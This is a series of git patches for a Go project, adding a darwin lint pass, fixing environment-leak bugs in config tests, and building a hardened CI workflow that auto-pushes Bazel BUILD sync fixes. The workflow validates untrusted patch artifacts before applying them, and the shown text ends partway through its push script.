-1,6 +1,6 @@ # Linting Policy -Last reviewed: 2026-08-10 +Last reviewed: 2026-09-03 Freshness source: `.golangci.yml`, `scripts/ci/pr-lint.sh`, `Makefile`, `.github/workflows/pr.yml`, and `.github/workflows/main.yml`. @@ -42,7 +42,9 @@ The wrapper runs: timeout, the `gms_pure_go` build tag, and `--new-from-merge-base` when `BD_LINT_NEW_FROM_MERGE_BASE` names a ref; and - a second non-CGO Windows cross-lint pass, on the same scope, when the native - host does not already cover that target. + host does not already cover that target; and +- a third non-CGO darwin (arm64) cross-lint pass, on the same scope, under the + same rule, so `//go:build darwin` files are linted from the Linux runner. ## Policy diff --git a/internal/config/permissions_open_nonlinux.go b/internal/config/permissions_open_nonlinux.go index a203ed60f..c1f4e3411 100644 --- a/internal/config/permissions_open_nonlinux.go +++ b/internal/config/permissions_open_nonlinux.go @@ -8,5 +8,6 @@ import "os" // caller's descriptor identity check prevents chmod unless it still refers to // the directory inspected with Lstat. func openBeadsDirHandle(path string) (beadsDirHandle, error) { + //nolint:gosec // G304: path is the .beads directory fixBeadsDirPermissions just inspected with Lstat; its descriptor identity check gates the chmod. return os.Open(path) } diff --git a/internal/utils/path_case_darwin.go b/internal/utils/path_case_darwin.go index b849abb7e..4ec783ae1 100644 --- a/internal/utils/path_case_darwin.go +++ b/internal/utils/path_case_darwin.go @@ -52,7 +52,8 @@ func canonicalCaseFast(path string) (string, error) { buf := make([]byte, unix.PathMax) // F_GETPATH has no typed wrapper in x/sys/unix: it writes a NUL-terminated // path of up to MAXPATHLEN bytes into the buffer named by the third arg. - _, _, errno := unix.Syscall( // nolint:gosec // buf is a live []byte of PathMax bytes, the exact contract F_GETPATH requires + //nolint:gosec // G103: buf is a live []byte of PathMax bytes, the exact contract F_GETPATH requires. + _, _, errno := unix.Syscall( unix.SYS_FCNTL, uintptr(fd), uintptr(unix.F_GETPATH), diff --git a/scripts/ci/pr-lint.sh b/scripts/ci/pr-lint.sh index 14401bb6b..c0fb7e986 100755 --- a/scripts/ci/pr-lint.sh +++ b/scripts/ci/pr-lint.sh @@ -39,3 +39,15 @@ if [[ "$native_goos" != "windows" || "$native_cgo_enabled" != "0" ]]; then --timeout=5m --build-tags=gms_pure_go \ ${lint_scope[@]+"${lint_scope[@]}"} ./... fi + +# Files guarded by //go:build darwin (and the !windows && !linux fallbacks) +# are invisible to the Linux runner too. Cross-lint the non-CGO darwin build +# from the same runner so a darwin-only finding fails the PR instead of the +# next maintainer's laptop, unless the native target above already matches it. +if [[ "$native_goos" != "darwin" || "$native_cgo_enabled" != "0" ]]; then + ci_time "golangci-lint (darwin)" -- \ + env GOOS=darwin GOARCH=arm64 CGO_ENABLED=0 GOWORK=off \ + golangci-lint run --config=.golangci.yml --modules-download-mode=readonly \ + --timeout=5m --build-tags=gms_pure_go \ + ${lint_scope[@]+"${lint_scope[@]}"} ./... +fi From 2c4bedf4ffcf2ceb8c28aca6b5e278ce445689d8 Mon Sep 17 00:00:00 2001 From: Jim Wordelman Date: Mon, 28 Sep 2026 15:46:18 -0700 Subject: [PATCH 196/624] test(configfile): neutralize ambient BEADS_DOLT_SERVER_PORT in TestEnvVarOverrides fallback subtest (#6221) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * test(configfile): green — neutralize ambient BEADS_DOLT_SERVER_PORT in TestEnvVarOverrides fallback subtest (refs be-k5jdp) * docs(release-gates): PASS 7/7 — be-c8kgv (ambient BEADS_DOLT_SERVER_PORT leak into BEADS_DOLT_PORT fallback subtest) Independently re-verified review bead be-3fspd's evidence: package-level 52 PASS/0 FAIL/0 SKIP, target subtest green, gofmt/vet clean, 0 divergence from origin/main, zero-conflict merge-tree simulation. * test(configfile): neutralize the ambient vars the remaining TestEnvVarOverrides subtests inherit Review finding 1 (blocking) on PR #6221: the sibling subtest "invalid port env var falls through to config" has the same ambient-leak bug this PR is titled after. It sets BEADS_DOLT_SERVER_PORT="not-a-number", so GetDoltServerPort fails the Atoi and falls through to os.Getenv("BEADS_DOLT_PORT") (configfile.go:514) — which the subtest never pins, so it reads the ambient value instead of the config value it asserts. Reproduced on this head, not on main: BEADS_DOLT_PORT=28231 go test ./internal/configfile/... -run TestEnvVarOverrides --- FAIL: TestEnvVarOverrides/invalid_port_env_var_falls_through_to_config configfile_test.go:1080: GetDoltServerPort() = 28231, want 3308 Two more subtests in the same function have the identical shape: "database default" and "database config value" both assert the config/default path of GetDoltDatabase without pinning BEADS_DOLT_SERVER_DATABASE, which outranks both (configfile.go:561). BEADS_DOLT_SERVER_DATABASE=ambient_db go test ./internal/configfile/... \ -run TestEnvVarOverrides --- FAIL: TestEnvVarOverrides/database_default configfile_test.go:1121: GetDoltDatabase() = "ambient_db", want "beads" --- FAIL: TestEnvVarOverrides/database_config_value configfile_test.go:1128: GetDoltDatabase() = "ambient_db", want mydb All three take the same one-line fix as the subtest already fixed here, so they are folded in rather than deferred to another round trip. With all three ambient vars set at once, TestEnvVarOverrides is 9/9 PASS. Refs be-sf0uk, be-s0af7. * docs(release-gates): scope the be-c8kgv diff accounting to the source commit Review finding 2 (nit) on PR #6221: the gate record described the PR as "Smallest possible diff (1 file, +1/-0)", and criteria 3c and 7 cited `git diff --stat origin/main...797d4a9e0` — a different SHA from the PR head. The per-criterion numbers were accurate for the commit the gate actually evaluated, so they are kept and scoped explicitly to `797d4a9e0` rather than rewritten. The Disposition no longer claims that accounting for the PR as a whole, and the now-obsolete "correctly deferred" note on be-s0af7 records that the reviewer overruled the deferral. Adds a review-response addendum carrying the current file/line accounting and the red/green evidence for both findings. Refs be-sf0uk. * chore: remove leaked internal release-gate doc from PR branch release-gates/be-c8kgv-gate.md Tracked our internal gc-management/beads-rig release-gate checklist and should never have been committed to this upstream branch -- it's process residue from our deploy tooling, not part of the change itself. Per maintainer bee-ghosttrack's request during review of PR #6571. The root cause (our deploy tooling auto-committing this file) is already fixed as of gm-qatxl1; this branch predates that fix, so this commit is cleanup only -- no other content on this branch is touched. Ref: be-lk7o3 --- internal/configfile/configfile_test.go | 2 ++ 1 file changed, 2 insertions(+) diff --git a/internal/configfile/configfile_test.go b/internal/configfile/configfile_test.go index 93c3c8b36..2658a5481 100644 --- a/internal/configfile/configfile_test.go +++ b/internal/configfile/configfile_test.go @@ -1157,6 +1157,7 @@ func TestEnvVarOverrides(t *testing.T) { }) t.Run("database default", func(t *testing.T) { + t.Setenv("BEADS_DOLT_SERVER_DATABASE", "") cfg := &Config{} if got := cfg.GetDoltDatabase(); got != DefaultDoltDatabase { t.Errorf("GetDoltDatabase() = %q, want %q", got, DefaultDoltDatabase) @@ -1164,6 +1165,7 @@ func TestEnvVarOverrides(t *testing.T) { }) t.Run("database config value", func(t *testing.T) { + t.Setenv("BEADS_DOLT_SERVER_DATABASE", "") cfg := &Config{DoltDatabase: "mydb"} if got := cfg.GetDoltDatabase(); got != "mydb" { t.Errorf("GetDoltDatabase() = %q, want mydb", got) From 90b84ea150afb4940a2e3c58cccb6e8a2995019a Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Mon, 28 Sep 2026 17:23:27 -0700 Subject: [PATCH 197/624] ci: auto-push Bazel BUILD sync fixes to PRs; harden docs autofix (#6907) * ci(bazel): auto-push `make bazel-sync` fixes to PR branches bazel.yml's BUILD sync step now writes the BUILD.bazel / MODULE.bazel / MODULE.bazel.lock part of its drift as the bazel-sync-patch artifact (scripts/ci/bazel-sync-patch.sh) and still fails. The new bazel-autofix.yml workflow_run job (on "Bazel" and "PR") applies it with scripts/bazel-autofix-push.sh: a sync commit on same-repo PR branches, an idempotent apply-recipe comment on fork PRs. Same security model as docs-autofix: the write-permission side never checks out or runs PR code, extracts only the two expected regular files, and refuses any patch naming a path outside an anchored allowlist (no hidden or `..` segments, nothing under third_party/) or carrying a mode change, symlink, rename or binary hunk; `git apply --index` and a post-apply check back that up. Reuses the DOCS_AUTOFIX_TOKEN secret for the push. Co-Authored-By: Claude Opus 5.5 (1M context) * build(bazel): add bazel_autofix_push_test.go to scripts_test `make bazel-sync` output, produced by scripts/ci/bazel-sync-patch.sh and applied with scripts/bazel-autofix-push.sh as an end-to-end exercise of the new autofix path. Co-Authored-By: Claude Opus 5.5 (1M context) * fix(ci): harden the bazel and docs autofix push scripts Addresses the security review of the autofix pipeline, identically in scripts/bazel-autofix-push.sh and scripts/docs-autofix-push.sh (the security-critical functions are now shared verbatim): - validate_patch refuses ANY "rename "/"copy " header (the legacy "rename old/new" form slipped past and, on docs-autofix, pushed a scripts.sh -> docs/cli-reference/x.md rename), checks every "index " line whatever its ids, takes creations/deletions/renames from `git apply --summary`, and reads names from `--numstat -z` (which names only the NEW path of a rename; the old comment was wrong). - docs-autofix gains the post-apply staged re-check and a --check mode. - The patch is applied to an index in a bare clone (read-tree + apply --cached + commit-tree): the PR tree never touches the disk. All git calls run with core.hooksPath=/dev/null, GIT_LFS_SKIP_SMUDGE=1. - Push is leased: --force-with-lease=refs/heads/$HEAD_BRANCH:$HEAD_SHA. - The PR must target this repo, and the head branch must be neither protected nor under a ruleset per the GitHub API (fail closed), on top of the name list. - Only a marker comment written by github-actions[bot] is ever edited. - bazel-autofix only pushes files in packages the PR changed (merge-base..head, computed from fetched refs), MODULE files only when go.mod/go.sum/MODULE changed; base-branch drift is left alone and listed, and a patch with nothing attributable gets a comment only. Tests cover each reviewer attack for both scripts (--check and the full flow against a local bare remote and fake gh), the staged check alone with the validator disabled, spoofed comments, protection/ruleset/API errors, the lease, main drift, and symlinked PR trees. Co-Authored-By: Claude Opus 5.5 (1M context) * fix(ci): trigger bazel-autofix on Bazel only; share job-level concurrency - bazel-autofix.yml triggers only on "Bazel": pr.yml never calls bazel.yml, so "PR" runs never carry the artifact, and their completions cancelled real fixes through the workflow-level group. The policy test now requires the triggering workflow to run on pull_request and upload the consumed artifact instead of asserting the false claim. - Both autofix workflows use one job-level concurrency group per head branch (autofix--) without cancel-in-progress: skipped runs take no part, and the two bots queue instead of racing. - Base checkouts use persist-credentials: false; docs-autofix extracts only cli-docs-freshness.patch, as a regular file, outside the workspace. - Policy tests for the trigger, concurrency scope, checkout, and the scripts' shared guards (rename/index checks, comment author, lease, protection lookup, index-only apply, hook-free git). Co-Authored-By: Claude Opus 5.5 (1M context) * fix(ci): tighten autofix attribution, circuit breaker and PR selection Re-review follow-ups for the bazel and docs autofix push scripts: - Root package: paths outside any Bazel package (docs/, .github/, README.md, ...) no longer count as changing //:. Only root-level Go and build inputs (*.go, *.s, *.c, *.h, *.bzl, go.mod, go.sum, BUILD.bazel, MODULE.bazel*) make root BUILD.bazel drift the PR's, so main's root drift is not pushed onto a docs-only PR. - Circuit breaker: the head subject is read from the fetched commit (no API), a failed read counts as non-convergent, and the check runs only once the PR's own staged fix is non-empty. A bot head whose remaining drift is main's now gets the "files this PR did not change" comment instead of a wrong "did not converge" one. Same in docs-autofix. - PR selection: several open PRs can share one head branch. bazel picks the one whose number matches the artifact metadata (among PRs already matching head repo/branch/base repo; head sha still verified); without a unique match both scripts skip instead of taking .[0]. - The privileged clone fetches only the head (and, for bazel, base) branch into an init'ed bare partial repo instead of cloning every branch. - docs-autofix job gets timeout-minutes: 10 (it shares a non-cancelling concurrency group with bazel-autofix). Tests: docs-only/README/workflow/Makefile PRs with root drift get no push, a root Go change gets root BUILD.bazel; breaker cases (bot head with own vs main drift, unreadable subject) for both scripts; PR selection by metadata and ambiguity; HEAD_SHA 40-hex guard; staged-check mode arm; a --summary-only validator copy; both workflows' download steps run as written against a fake gh (run-scoped artifact listing, only the named files extracted, symlinked entries refused); timeout asserted for both jobs. Co-Authored-By: Claude Opus 5.5 (1M context) * fix(ci): bazel-autofix requires bash 4; skip its tests on macOS bash 3.2 Co-Authored-By: Claude Opus 5.5 (1M context) * test(ci): skip every autofix script test on bash < 4 Co-Authored-By: Claude Opus 5.5 (1M context) * build(bazel): sync internal/utils BUILD with main Co-Authored-By: Claude Opus 5.5 (1M context) --------- Co-authored-by: Gas City Adopt-PR Co-authored-by: Claude Opus 5.5 (1M context) --- .github/workflows/bazel-autofix.yml | 128 +++ .github/workflows/bazel.yml | 26 +- .github/workflows/docs-autofix.yml | 46 +- AGENT_INSTRUCTIONS.md | 8 +- internal/utils/BUILD.bazel | 1 + scripts/BUILD.bazel | 1 + scripts/bazel-autofix-push.sh | 493 +++++++++++ scripts/bazel_autofix_push_test.go | 1191 +++++++++++++++++++++++++++ scripts/ci/bazel-sync-patch.sh | 73 ++ scripts/ci_workflow_test.go | 369 +++++++++ scripts/docs-autofix-push.sh | 321 ++++++-- 11 files changed, 2559 insertions(+), 98 deletions(-) create mode 100644 .github/workflows/bazel-autofix.yml create mode 100755 scripts/bazel-autofix-push.sh create mode 100644 scripts/bazel_autofix_push_test.go create mode 100755 scripts/ci/bazel-sync-patch.sh diff --git a/.github/workflows/bazel-autofix.yml b/.github/workflows/bazel-autofix.yml new file mode 100644 index 000000000..630fbd54c --- /dev/null +++ b/.github/workflows/bazel-autofix.yml @@ -0,0 +1,128 @@ +# Auto-fix stale Bazel BUILD files on PRs. +# +# bazel.yml's "BUILD files in sync" step runs `make bazel-sync` (gazelle, +# tools/bazel/go_srcs.py, bazel mod tidy) and, when that leaves drift, fails +# and uploads the BUILD.bazel / MODULE.bazel / MODULE.bazel.lock part of the +# fix as the bazel-sync-patch artifact (scripts/ci/bazel-sync-patch.sh). This +# workflow closes the loop, like docs-autofix.yml does for generated CLI docs: +# when a PR run fails and left that artifact, it pushes the sync commit to the +# PR branch (same-repo PRs) or leaves an idempotent comment with the apply +# recipe (fork PRs). Drift elsewhere (third_party/patches, go.mod) is never +# patched; the failing run lists it for a human. +# +# Trigger: only "Bazel" (bazel.yml on pull_request), the one workflow that +# uploads bazel-sync-patch; pr.yml does not call bazel.yml. A run without the +# artifact is a no-op. bazel.yml builds the PR MERGE commit, so the patch also +# carries any drift main has; only files in packages the PR itself changed +# are pushed (see the script), so main's drift never lands on an unrelated PR. +# +# CONCURRENCY: job-level (a skipped run - success, or another event - never +# takes part), and shared with docs-autofix.yml per head branch without +# cancel-in-progress, so the two bots queue instead of racing on one branch +# or cancelling a fix that is already running. The second one sees the moved +# head and stops; with the PAT its push retriggers CI, which re-derives the +# other fix. +# +# SECURITY MODEL: this runs with write permissions via workflow_run, so it +# never checks out or executes PR code. It checks out the base default branch +# for scripts, and treats the artifact strictly as data: only the two expected +# regular files are extracted, every path in the patch must match an anchored +# Bazel build-file allowlist (no hidden or `..` segments, nothing under +# third_party/), mode/symlink/rename/binary hunks are refused, and +# the patch is applied to an index in a bare clone (the PR tree never touches +# the disk) and re-checked once staged (scripts/bazel-autofix-push.sh), so a +# hostile patch can at most rewrite BUILD.bazel / MODULE.bazel / +# MODULE.bazel.lock on its own PR branch. Pushes are leased to the run's head +# SHA and skipped for heads that are protected or under a ruleset. +# +# TOKEN NOTE: pushes made with the default GITHUB_TOKEN do not retrigger PR +# checks. This reuses the DOCS_AUTOFIX_TOKEN repo secret (fine-grained PAT or +# GitHub App token with contents:write on this repo) rather than adding a +# second one; without it the pushed fix still lands but checks need a manual +# re-run. Fork PRs always get the apply-recipe comment - no token we hold can +# push to a fork. workflow_run always runs this file from the default branch, +# so edits take effect only after they merge. + +name: Bazel Autofix + +on: + workflow_run: + workflows: ["Bazel"] + types: [completed] + +permissions: + contents: write + pull-requests: write + actions: read + +jobs: + autofix: + name: Apply Bazel BUILD sync to PR + if: > + github.event.workflow_run.event == 'pull_request' && + github.event.workflow_run.conclusion == 'failure' + runs-on: ubuntu-latest + timeout-minutes: 10 + # Shared with docs-autofix.yml; queue, never cancel (see header). + concurrency: + group: autofix-${{ github.event.workflow_run.head_repository.full_name }}-${{ github.event.workflow_run.head_branch }} + cancel-in-progress: false + steps: + # Trusted side only: base repo default branch, never the PR head. The + # workflow token is not left in .git/config. + - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 + with: + persist-credentials: false + + - name: Download BUILD sync patch (if any) + id: patch + env: + GH_TOKEN: ${{ github.token }} + RUN_ID: ${{ github.event.workflow_run.id }} + run: | + artifact_ids="$(gh api --paginate "repos/${GITHUB_REPOSITORY}/actions/runs/${RUN_ID}/artifacts?per_page=100" \ + --jq '.artifacts[] | select(.name == "bazel-sync-patch") | .id')" + artifact_id="$(printf '%s\n' "$artifact_ids" | head -1)" + if [ -z "$artifact_id" ]; then + echo "No BUILD sync patch artifact on run ${RUN_ID}; it failed for other reasons." + echo "found=false" >> "$GITHUB_OUTPUT" + exit 0 + fi + dir="${RUNNER_TEMP}/bazel-patch" + mkdir -p "$dir" + gh api "repos/${GITHUB_REPOSITORY}/actions/artifacts/${artifact_id}/zip" > "${RUNNER_TEMP}/bazel-patch.zip" + # Extract only the two expected names, and only as regular files. + unzip -o "${RUNNER_TEMP}/bazel-patch.zip" bazel-sync.patch bazel-sync-meta.txt -d "$dir" || true + ls -la "$dir" + for f in bazel-sync.patch bazel-sync-meta.txt; do + if [ -L "$dir/$f" ] || { [ -e "$dir/$f" ] && [ ! -f "$dir/$f" ]; }; then + echo "::error::artifact entry $f is not a regular file" + exit 1 + fi + done + if [ ! -f "$dir/bazel-sync.patch" ]; then + echo "Artifact has no bazel-sync.patch; nothing to do." + echo "found=false" >> "$GITHUB_OUTPUT" + exit 0 + fi + echo "found=true" >> "$GITHUB_OUTPUT" + + - name: Push sync commit or leave apply recipe + if: steps.patch.outputs.found == 'true' + env: + BASE_REPO: ${{ github.repository }} + HEAD_REPO: ${{ github.event.workflow_run.head_repository.full_name }} + HEAD_BRANCH: ${{ github.event.workflow_run.head_branch }} + HEAD_SHA: ${{ github.event.workflow_run.head_sha }} + PATCH_FILE: ${{ runner.temp }}/bazel-patch/bazel-sync.patch + META_FILE: ${{ runner.temp }}/bazel-patch/bazel-sync-meta.txt + RUN_ID: ${{ github.event.workflow_run.id }} + RUN_URL: ${{ github.event.workflow_run.html_url }} + # Split tokens: gh api calls (PR lookup, comments) always use the + # workflow token, which carries this job's pull-requests:write; the + # optional PAT is used ONLY for the git push, so it needs no more + # than contents:write. + GH_TOKEN: ${{ github.token }} + PUSH_TOKEN: ${{ secrets.DOCS_AUTOFIX_TOKEN || github.token }} + AUTOFIX_TOKEN_KIND: ${{ secrets.DOCS_AUTOFIX_TOKEN && 'pat' || 'default' }} + run: ./scripts/bazel-autofix-push.sh diff --git a/.github/workflows/bazel.yml b/.github/workflows/bazel.yml index 8efaf8a4c..6ea2095b6 100644 --- a/.github/workflows/bazel.yml +++ b/.github/workflows/bazel.yml @@ -241,13 +241,23 @@ jobs: # Runs last: it rewrites BUILD files in the checkout. main moves BUILD # inputs (imports, go.mod) without touching Bazel, so drift shows up here - # first. + # first. On drift the step still fails, and the BUILD.bazel / + # MODULE.bazel / MODULE.bazel.lock part of the fix is written as a patch + # for the bazel-sync-patch artifact, which bazel-autofix.yml pushes to + # same-repo PR branches (or turns into an apply recipe for forks). - name: BUILD files in sync (gazelle, go_srcs, MODULE.bazel) + id: sync if: ${{ always() && steps.bazel.outcome == 'success' }} timeout-minutes: 15 + env: + PR_NUMBER: ${{ github.event.pull_request.number }} + PR_HEAD_SHA: ${{ github.event.pull_request.head.sha }} run: | start=$(date +%s) - make bazel-sync-check + # A stale go_srcs block is drift like any other: record it, then let + # bazel-sync fix it so the patch covers it too. + check=0 + make bazel-sync-check || check=$? make bazel-sync drift="$(git status --porcelain --untracked-files=all)" echo "BUILD sync check: $(( $(date +%s) - start ))s" >> "$GITHUB_STEP_SUMMARY" @@ -256,8 +266,20 @@ jobs: echo "$drift" git diff | head -200 echo "BUILD files **out of sync**; run \`make bazel-sync\` and commit the result." >> "$GITHUB_STEP_SUMMARY" + ./scripts/ci/bazel-sync-patch.sh "$RUNNER_TEMP/bazel-sync-patch" exit 1 fi + exit "$check" + + # Data only: bazel-autofix.yml validates every path before applying it. + - name: Upload BUILD sync patch + if: ${{ always() && steps.sync.outcome == 'failure' }} + uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7 + with: + name: bazel-sync-patch + path: ${{ runner.temp }}/bazel-sync-patch/ + if-no-files-found: ignore + retention-days: 7 - name: Upload test logs if: ${{ failure() && steps.test.outcome == 'failure' }} diff --git a/.github/workflows/docs-autofix.yml b/.github/workflows/docs-autofix.yml index c40ec3bb5..36d992c97 100644 --- a/.github/workflows/docs-autofix.yml +++ b/.github/workflows/docs-autofix.yml @@ -11,9 +11,15 @@ # never checks out or executes PR code. It checks out the base default branch # for scripts, and treats the artifact strictly as data: every path in the # patch must match an anchored generated-docs allowlist (single path segment, -# no traversal, no symlink modes) and `git apply --index` supplies the -# underlying escape guards (scripts/docs-autofix-push.sh), so a hostile patch -# can at most rewrite generated doc files on its own PR branch. +# no traversal), mode/symlink/rename/copy/binary hunks are refused, and the +# patch is applied to an index in a bare clone and re-checked once staged +# (scripts/docs-autofix-push.sh), so a hostile patch can at most rewrite +# generated doc files on its own PR branch. Pushes are leased to the run's +# head SHA and skipped for heads that are protected or under a ruleset. +# +# CONCURRENCY: job-level, shared with bazel-autofix.yml per head branch and +# without cancel-in-progress, so the two bots queue instead of racing on one +# branch (see bazel-autofix.yml). # # TOKEN NOTE: pushes made with the default GITHUB_TOKEN do not retrigger PR # checks. Configure a DOCS_AUTOFIX_TOKEN repo secret (fine-grained PAT or @@ -34,10 +40,6 @@ permissions: pull-requests: write actions: read -concurrency: - group: docs-autofix-${{ github.event.workflow_run.head_repository.full_name }}-${{ github.event.workflow_run.head_branch }} - cancel-in-progress: true - jobs: autofix: name: Apply CLI docs regeneration to PR @@ -45,9 +47,18 @@ jobs: github.event.workflow_run.event == 'pull_request' && github.event.workflow_run.conclusion == 'failure' runs-on: ubuntu-latest + # Bounded: a hung run would hold the shared group for the default 6h. + timeout-minutes: 10 + # Shared with bazel-autofix.yml; queue, never cancel. + concurrency: + group: autofix-${{ github.event.workflow_run.head_repository.full_name }}-${{ github.event.workflow_run.head_branch }} + cancel-in-progress: false steps: - # Trusted side only: base repo default branch, never the PR head. + # Trusted side only: base repo default branch, never the PR head. The + # workflow token is not left in .git/config. - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 + with: + persist-credentials: false - name: Download docs freshness patch (if any) id: patch @@ -63,9 +74,22 @@ jobs: echo "found=false" >> "$GITHUB_OUTPUT" exit 0 fi - gh api "repos/${GITHUB_REPOSITORY}/actions/artifacts/${artifact_id}/zip" > patch.zip - unzip -o patch.zip -d "${RUNNER_TEMP}/docs-patch" - ls -la "${RUNNER_TEMP}/docs-patch" + dir="${RUNNER_TEMP}/docs-patch" + mkdir -p "$dir" + gh api "repos/${GITHUB_REPOSITORY}/actions/artifacts/${artifact_id}/zip" > "${RUNNER_TEMP}/docs-patch.zip" + # Extract only the expected name, and only as a regular file. + unzip -o "${RUNNER_TEMP}/docs-patch.zip" cli-docs-freshness.patch -d "$dir" || true + ls -la "$dir" + f="$dir/cli-docs-freshness.patch" + if [ -L "$f" ] || { [ -e "$f" ] && [ ! -f "$f" ]; }; then + echo "::error::artifact entry cli-docs-freshness.patch is not a regular file" + exit 1 + fi + if [ ! -f "$f" ]; then + echo "Artifact has no cli-docs-freshness.patch; nothing to do." + echo "found=false" >> "$GITHUB_OUTPUT" + exit 0 + fi echo "found=true" >> "$GITHUB_OUTPUT" - name: Push regen commit or leave apply recipe diff --git a/AGENT_INSTRUCTIONS.md b/AGENT_INSTRUCTIONS.md index bd5b5539c..133e14aea 100644 --- a/AGENT_INSTRUCTIONS.md +++ b/AGENT_INSTRUCTIONS.md @@ -87,7 +87,13 @@ test runs if `du -sh /tmp/beads-* /tmp/bd-*` shows accumulation. See bd-3q2u. 2. **Run the required lint contract when its code surface changed**: `make ci-pr-lint` 3. **Update docs**: If you changed behavior, update README.md or other docs -4. **Commit**: With git hooks installed (`bd hooks install`), Dolt changes are auto-committed +4. **Sync Bazel BUILD files** if you added, removed or renamed Go files, or + changed imports or `go.mod`: `make bazel-sync` (needs Bazel), then commit + the BUILD.bazel / MODULE.bazel changes. Without Bazel, let CI do it: on + same-repo PRs the bazel-autofix workflow pushes the fix for the packages + your PR changed to your branch (pull before pushing again); fork PRs get + a comment with an apply recipe. +5. **Commit**: With git hooks installed (`bd hooks install`), Dolt changes are auto-committed ### Commit Message Convention diff --git a/internal/utils/BUILD.bazel b/internal/utils/BUILD.bazel index 711268577..1c89dd4c8 100644 --- a/internal/utils/BUILD.bazel +++ b/internal/utils/BUILD.bazel @@ -13,6 +13,7 @@ go_library( importpath = "github.com/steveyegge/beads/internal/utils", visibility = ["//:__subpackages__"], deps = [ + "//internal/debug", "//internal/types", ] + select({ "@rules_go//go/platform:darwin": [ diff --git a/scripts/BUILD.bazel b/scripts/BUILD.bazel index cc693f9cd..65b61a8fb 100644 --- a/scripts/BUILD.bazel +++ b/scripts/BUILD.bazel @@ -17,6 +17,7 @@ load("@rules_go//go:def.bzl", "go_test") go_test( name = "scripts_test", srcs = [ + "bazel_autofix_push_test.go", "bazel_policy_test.go", "check_build_tags_test.go", "check_doc_freshness_test.go", diff --git a/scripts/bazel-autofix-push.sh b/scripts/bazel-autofix-push.sh new file mode 100755 index 000000000..2af204d89 --- /dev/null +++ b/scripts/bazel-autofix-push.sh @@ -0,0 +1,493 @@ +#!/usr/bin/env bash +# bazel-autofix-push.sh - apply a CI-generated `make bazel-sync` patch +# (BUILD.bazel / MODULE.bazel / MODULE.bazel.lock) to a PR branch, or fall +# back to an instructive PR comment when pushing is not possible. +# +# Runs on the PRIVILEGED side of the bazel-autofix workflow_run pipeline: the +# checkout is always the base repository's default branch (trusted code), and +# the patch produced by the unprivileged PR build (scripts/ci/bazel-sync-patch.sh +# in bazel.yml) is treated as UNTRUSTED DATA. Confinement is layered: +# * the path allowlist below pins WHICH files a patch may name (anchored +# regex, no hidden or `..` segments, nothing under third_party/); +# * any mode line, symlink, rename/copy or binary hunk is refused, so only +# regular 100644 files are created, edited or deleted; +# * the patch is applied to an index only (`git read-tree` + `git apply +# --cached` in a bare clone): the PR tree is never written to disk, and +# git's own guards reject `..`/absolute paths and in-patch symlinks; +# * the staged result is re-checked against the same allowlist; +# * only files in packages the PR itself changed are pushed, so drift that +# main introduced is never pushed onto an unrelated PR. +# A hostile patch can therefore at most rewrite Bazel build files on its own +# PR branch, which its author could push there anyway. +# +# Usage: +# bazel-autofix-push.sh validate, then push or comment (env below) +# bazel-autofix-push.sh --check P validate patch P only; exit 0 if acceptable +# +# Inputs (environment): +# BASE_REPO base "owner/name" (e.g. gastownhall/beads) +# HEAD_REPO PR head "owner/name" (same as BASE_REPO for branch PRs; +# may be empty if the head fork was deleted) +# HEAD_BRANCH PR head branch name +# HEAD_SHA head commit the failing run was built from +# PATCH_FILE path to the downloaded bazel-sync.patch +# META_FILE optional bazel-sync-meta.txt from the same artifact; untrusted, +# used only to skip a patch whose head_sha disagrees with HEAD_SHA +# RUN_ID workflow run id that produced the patch (for comment text) +# RUN_URL html url of that run (for commit/comment provenance) +# GH_TOKEN token for gh api calls (PR lookup, comments) - needs the +# workflow's pull-requests:write; never the PAT +# PUSH_TOKEN token for git fetch/push only (optional; defaults to +# GH_TOKEN), so the shared DOCS_AUTOFIX_TOKEN needs +# contents:write only +# AUTOFIX_TOKEN_KIND "pat" when a dedicated push token is in use, "default" +# for the workflow's GITHUB_TOKEN (retrigger caveat) +# +# Exit 0 on every non-actionable outcome (PR closed, head moved, no patch); +# exit 1 on a refused patch or a genuine error so the workflow surfaces them. + +set -euo pipefail +if ((BASH_VERSINFO[0] < 4)); then + echo "bazel-autofix-push.sh: bash >= 4 required (associative arrays)" >&2 + exit 2 +fi +export LC_ALL=C +# Nothing from the PR tree may run: no LFS smudge, no prompts. +export GIT_LFS_SKIP_SMUDGE=1 GIT_TERMINAL_PROMPT=0 + +COMMENT_MARKER="" +AUTOFIX_SUBJECT="build(bazel): auto-sync BUILD files" +# Comments are only ever edited when this account wrote them: anyone can post +# a comment that starts with the marker. +COMMENT_AUTHOR="github-actions[bot]" + +# Files `make bazel-sync` may write and this bot may push - keep identical to +# scripts/ci/bazel-sync-patch.sh (scripts/ci_workflow_test.go checks). Every +# segment starts with a conservative non-dot character: no traversal, no +# .github/, no metacharacters or quoted names can slip through. +BUILD_FILE_RE='^([A-Za-z0-9_+-][A-Za-z0-9_.+-]*/)*BUILD\.bazel$' + +path_allowed() { + case "$1" in + MODULE.bazel | MODULE.bazel.lock) return 0 ;; + third_party/*) return 1 ;; + esac + [[ "$1" =~ $BUILD_FILE_RE ]] +} + +# Every git call: no hooks, whatever config a clone might carry. +git_() { + git -c core.hooksPath=/dev/null -c core.fsmonitor=false "$@" +} + +# validate_patch FILE: refuse anything but plain text edits to regular files +# that path_allowed accepts. Shared verbatim with docs-autofix-push.sh +# (scripts/ci_workflow_test.go checks). +validate_patch() { + local file="$1" line path names bad="" count=0 + # No mode change, symlink, rename or copy, binary hunk. ANY line starting + # "rename " or "copy " is refused: git apply also accepts the legacy + # "rename old"/"rename new" headers, which name a second path. + if grep -qE '^(old mode|new mode|similarity index|dissimilarity index|rename |copy |GIT binary patch|Binary files )' "$file"; then + echo "REFUSED: patch contains a mode change, rename/copy or binary hunk." + return 1 + fi + if grep -E '^(new file mode|deleted file mode) ' "$file" | grep -qvE '^(new file mode|deleted file mode) 100644$'; then + echo "REFUSED: patch creates or deletes a non-regular (symlink/executable/submodule) file." + return 1 + fi + # Every index line, whatever its ids look like, must be "index A..B" or + # "index A..B 100644"; a malformed id cannot hide a mode from this check. + if grep -E '^index ' "$file" | grep -qvE '^index [0-9a-f]+\.\.[0-9a-f]+( 100644)?$'; then + echo "REFUSED: patch has an index line that is not a regular 100644 file." + return 1 + fi + # 